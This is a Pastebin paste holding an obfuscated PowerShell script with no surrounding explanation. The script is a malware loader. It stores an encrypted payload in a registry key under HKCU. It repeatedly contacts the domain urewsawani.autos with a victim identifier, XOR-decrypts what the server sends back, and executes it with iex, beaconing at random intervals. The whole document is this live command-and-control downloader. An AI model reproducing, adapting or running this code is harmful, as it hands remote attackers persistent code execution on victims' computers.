Guest User

Untitled

a guest
Sep 19th, 2022
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.17 KB | None | 0 0
  1.  
  2.  
  3. $gVAR=$null;
  4. $str_enc_Asc=[System.Text.Encoding]::ASCII;
  5.  
  6. $l_var = "19";
  7.  
  8. $remPar = "WyI1MjQxODkzNzQ0OTc5NTEzMTU0IiwxNjYyOTk4Nzg4LCJNekUwT1RRR0F3QUlEQW9DQXcwQUNnWU5EQVVBQUFFTlNBUUhCUWdNQlUwRkR3SUJDQTBCQXdBQVNBPT0iXQ==";
  9.  
  10. function idxToVar([string]$arrSB2) {
  11. $arrSB=[System.Convert]::FromBase64String($arrSB2);
  12.  
  13. $st=$str_enc_Asc.GetBytes('Get-ItemPropertyValue');
  14. $ed=$arrSB[0..4];
  15.  
  16. $i=0;
  17. $l=$ed.Length;
  18. $k=@();
  19.  
  20. [array]::Resize([ref]$k,$st.length);
  21. foreach($b in $st) {$k[$i++]=$b -bxor $ed[$i%$l]}
  22.  
  23. $bs=$arrSB[5..$arrSB.length];
  24.  
  25. $i=0;
  26. $l=$k.Length;
  27. $dt=@();
  28.  
  29. [array]::Resize([ref]$dt,$bs.length);
  30. foreach($b in $bs) {$dt[$i++]=$b -bxor $k[$i%$l]}
  31.  
  32. return $str_enc_Asc.GetString($dt) | ConvertFrom-Json;
  33. }
  34.  
  35. try {
  36. $gVAR=$str_enc_Asc.GetString([System.Convert]::FromBase64String($remPar)) | ConvertFrom-Json;
  37. } catch{}
  38.  
  39. $a = $str_enc_Asc;
  40. $new_path = "HKCU:\Software\ZabaraKatranemiaPlc\";
  41.  
  42. $d = "urewsawani.autos";
  43.  
  44. $u=$gVAR[0];
  45. $v = "0";
  46.  
  47. $ok=$true
  48. $xpVer = "Xplorer 2";
  49. $is=$gVAR[1];
  50.  
  51.  
  52. $di=$gVAR[2];
  53. $dat = $null;
  54.  
  55. while($ok) {
  56. try{
  57. try{
  58. if (!(Test-Path $new_path)){New-Item -Path $new_path | Out-Null;}
  59. }
  60. catch{}
  61.  
  62. $cr = $false;
  63. if ($dat -eq $null) {
  64. try {
  65. $r = Get-ItemPropertyValue -Path $new_path -Name $xpVer;
  66. $dat = idxToVar($r);
  67. $v = $dat[0];
  68. $cr = $true;
  69. }catch{}
  70. } else {
  71. $v = $dat[0];
  72. }
  73.  
  74. try {
  75. $fmt = "https://{0}/x?u={1}&is={2}&lv={3}&rv={4}" -f $d,$u,$is,$l_var,$v
  76. $dt = wget $fmt -UseBasicParsing;
  77.  
  78. $dat2 = idxToVar($dt);
  79. if ($dat2[0] -gt $v) {
  80. $v2 = $dat2[0];
  81.  
  82. New-ItemProperty -Path $new_path -Name $xpVer -Value $dt -PropertyType "String" -Force | Out-Null;
  83. $dat = $dat2;
  84. $cr = $true;
  85. }
  86. }catch{}
  87.  
  88. if ($cr -eq $true) {
  89. try{
  90. stop;
  91. }catch{}
  92. try {iex $dat[1];}catch{}
  93. }
  94. } catch{}
  95.  
  96. try {
  97. $mxs = ((get-random 80 -minimum 55)*60);
  98. $cdt = [int](Get-Date -UFormat %s);
  99.  
  100. :cnt while($ok) {
  101. try{temp($d,$u,$is,$di);}catch{}
  102.  
  103. Start-Sleep (get-random 75 -minimum 35);
  104. $ndt = [int](Get-Date -UFormat %s);
  105.  
  106. if (($ndt-$cdt) -gt $mxs) {
  107. break cnt;
  108. }
  109. }
  110.  
  111. } catch{}
  112. }
  113.  
  114.  
Add Comment
Please, Sign In to add comment